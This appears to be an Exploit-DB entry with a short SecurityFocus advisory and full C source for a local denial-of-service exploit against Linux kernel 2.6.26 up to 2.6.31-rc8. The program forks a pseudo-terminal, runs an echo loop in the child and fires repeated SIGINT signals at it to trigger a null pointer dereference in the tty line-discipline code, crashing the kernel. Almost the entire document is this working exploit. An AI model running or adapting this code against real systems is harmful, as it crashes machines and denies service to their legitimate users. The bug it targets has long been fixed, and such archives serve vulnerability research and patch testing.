Linux Kernel 2.6.x - 'drivers/char/tty_ldisc.c' Null Pointer Dereference Denial of Service

EDB-ID:

33193




Platform:

Linux

Date:

2009-08-19


/*
source: https://www.securityfocus.com/bid/36191/info

The Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected kernel, denying service to legitimate users. Given the nature of this issue, attackers may also be able to execute arbitrary code, but this has not been confirmed.

This issue was introduced in Linux kernel 2.6.26 and fixed in 2.6.31-rc8. 
*/


/* gcc -o KernelTtyTest KernelTtyTest.c -Wall -O2 -lutil */
#define _GNU_SOURCE 1
#include <stdio.h>
#include <pty.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <setjmp.h>
#include <ctype.h>
#define POLL_TIMEOUT (10*1000)  /* in milliseconds */
#define LASTBUFSZ  10000
#define CMDBUFSZ 10000
#define SIGINT_LONGJMP 0
#define SIGINT_VAR 1
static void putstr(char *str, FILE *out)
{
	int c;
	for (c = *str++; c; c = *str++) {
		if (iscntrl(c)) {
			putc('\\', out);
			switch(c) {
			case '\n':  putc('n', out); break;
			case '\r':  putc('r', out); break;
			default: printf("%03o", c); break;
			}
		} else {
			putc(c, out);
		}
	}
}
static void print_lastbytes(char *lastbytes, size_t totalbytes, FILE *out)
{
	char *start = lastbytes;
	if (totalbytes < LASTBUFSZ)
		start = &lastbytes[LASTBUFSZ - totalbytes];
	fprintf(out, "lastbytes: '");
	putstr(start, out);
	fprintf(out, "'");
}
static void expect(int masterfd, char *str, size_t len)
{
	char lastbytes[LASTBUFSZ + 1];
	size_t totalbytes = 0;
	memset(lastbytes, sizeof(lastbytes), 0);

	for (;;) {
	  	char buf[1];
		ssize_t bytes;
		int ret;
		struct pollfd fds = {
			.fd = masterfd,
			.events = POLLIN | POLLERR | POLLHUP,
			.revents = 0,
		};
		ret = poll(&fds, 1, POLL_TIMEOUT);
		if (ret == 0) {
			fprintf(stderr, "Timeout while waiting for '");
			putstr(str, stderr);
			fprintf(stderr, "' ");
			print_lastbytes(lastbytes, totalbytes, stderr);
			fprintf(stderr,"\n");
			exit(5);
		}
		else if (ret < 0) {
			fprintf(stderr, "poll failed: %s\n", strerror(errno));
			exit(4);
		}
		bytes = read(masterfd, buf, 1);
		if (bytes == 1) {
			totalbytes++;
			memmove(lastbytes, lastbytes +1, LASTBUFSZ);
			lastbytes[LASTBUFSZ - 1] = buf[0];
			lastbytes[LASTBUFSZ] = '\0';
			if (memcmp(&lastbytes[LASTBUFSZ - len], str, len) == 0)
				return;
		}
		else if (bytes < 0) {
			fprintf(stderr, "read failed: %s\n",
				strerror(errno));
			print_lastbytes(lastbytes, totalbytes, stderr);
			fprintf(stderr,"\n");
			abort();
			exit(3);
		}
	}
}
static void resync(int masterfd)
{
	static unsigned count;
	char cookie[100];
	char cmd[1000];
	char reply[1000];
	ssize_t written, bytes;
	snprintf(cookie, sizeof(cookie), "_%u_", ++count);
	bytes = snprintf(cmd, sizeof(cmd), "echo %s\n", cookie);
	written = 0;
	while (bytes) {
		ssize_t sent;
		sent = write(masterfd, cmd + written, bytes);
		if (sent >= 0) {
			written += sent;
			bytes -= sent;
		} else if ((errno != EAGAIN) && (errno != EINTR)) {
			fprintf(stderr, "Write to child failed: %s\n", strerror(errno));
			exit(2);  
		}
	}
	snprintf(reply, sizeof(reply), "\n%s", cookie);
	expect(masterfd, reply, strlen(reply));
}
#if SIGINT_VAR
static volatile sig_atomic_t saw_sigint;
#endif

static void process_cmd(void)
{
	char cmdbuf[CMDBUFSZ];
	size_t cmdlen;
	char buf[1];
	cmdlen = 0;
	for (;;) {
		ssize_t bytes;
#if SIGINT_VAR
		if (saw_sigint) {
			saw_sigint = 0;
			printf("^C\n");
			fflush(stdout);
			return;
		}
#endif
		bytes = read(STDIN_FILENO, buf, 1);
		if (bytes == 1) {
			cmdbuf[cmdlen] = '\0';
			putchar(buf[0]);
			fflush(stdout);
			if (buf[0] == '\n') {
				if (cmdlen == 0) {
					printf("> ");
					fflush(stdout);
				}
				else if (memcmp("echo ", cmdbuf, 5) == 0) {
				  	printf("%s\n", cmdbuf + 5);
					fflush(stdout);
					return;
				} else {
					fprintf(stdout, "unknown cmd: '");
					putstr(cmdbuf, stdout);
					printf("'\n");
					fflush(stdout);
					return;
				}
			}
			cmdlen += 1;
			if (cmdlen >= CMDBUFSZ) {
				fprintf(stderr, "command too long!\n");
				_exit(3);
			}
			cmdbuf[cmdlen - 1] = buf[0];
			cmdbuf[cmdlen] = '\0';
		}
		if (bytes == 0) {
			/* EOF terminate */
			_exit(0);
		}
		if (bytes < 0) {
			fprintf(stderr, "%s read failed: %s\n",
				__func__, strerror(errno));
			_exit(4);
		}
	}
}
#if SIGINT_LONGJMP
static sigjmp_buf sigint_dest;
#endif
static void sigint_handler(int signum)
{
#if SIGINT_LONGJMP
	siglongjmp(sigint_dest, 1);
#endif
#if SIGINT_VAR
	saw_sigint = 1;
#endif
}
static void process_cmds(void)
{
	sigset_t signal_set;
#if 1
	struct sigaction act;
#endif
	sigemptyset( &signal_set);
	sigaddset( &signal_set, SIGINT);

	/* Block sigint until I reinstall the handler */
	sigprocmask(SIG_BLOCK, &signal_set, NULL);
#if 0
	signal(SIGINT, sigint_handler);
#else
	memset(&act, sizeof(act), 0);
	act.sa_handler = &sigint_handler;
	act.sa_flags = SA_NODEFER;
	sigaction(SIGINT, &act, NULL);
#endif
#if SIGINT_LONGJMP
	if (sigsetjmp(sigint_dest, 1)) {
		printf("^C\n");
		fflush(stdout);
	}
#endif
	sigprocmask(SIG_UNBLOCK, &signal_set, NULL);
	for (;;)
		process_cmd();
}
int main(int argc, char *argv[], char *environ[])
{
	pid_t pid;
	int masterfd;
	struct winsize terminal_size;
	int i;
	terminal_size.ws_row = 80;
	terminal_size.ws_col = 25;
	terminal_size.ws_xpixel = 0;
	terminal_size.ws_ypixel = 0;

	pid = forkpty(&masterfd, NULL, NULL, &terminal_size);
	if (pid == 0) { /* child */
		char *args[] = {  "/bin/sh",  NULL };
		char *env[] = { NULL };
#if 0
		execve("/bin/bash", args, env);
#endif
#if 1
		process_cmds();
#endif
		_exit(1);
	}
	resync(masterfd);
#if 1
	for (i = 0; i < 10; i++) {
		usleep(100);
		kill(pid, SIGINT);
	}
#endif
#if 0
	usleep(1000);
#endif
	resync(masterfd);
	return 0;
}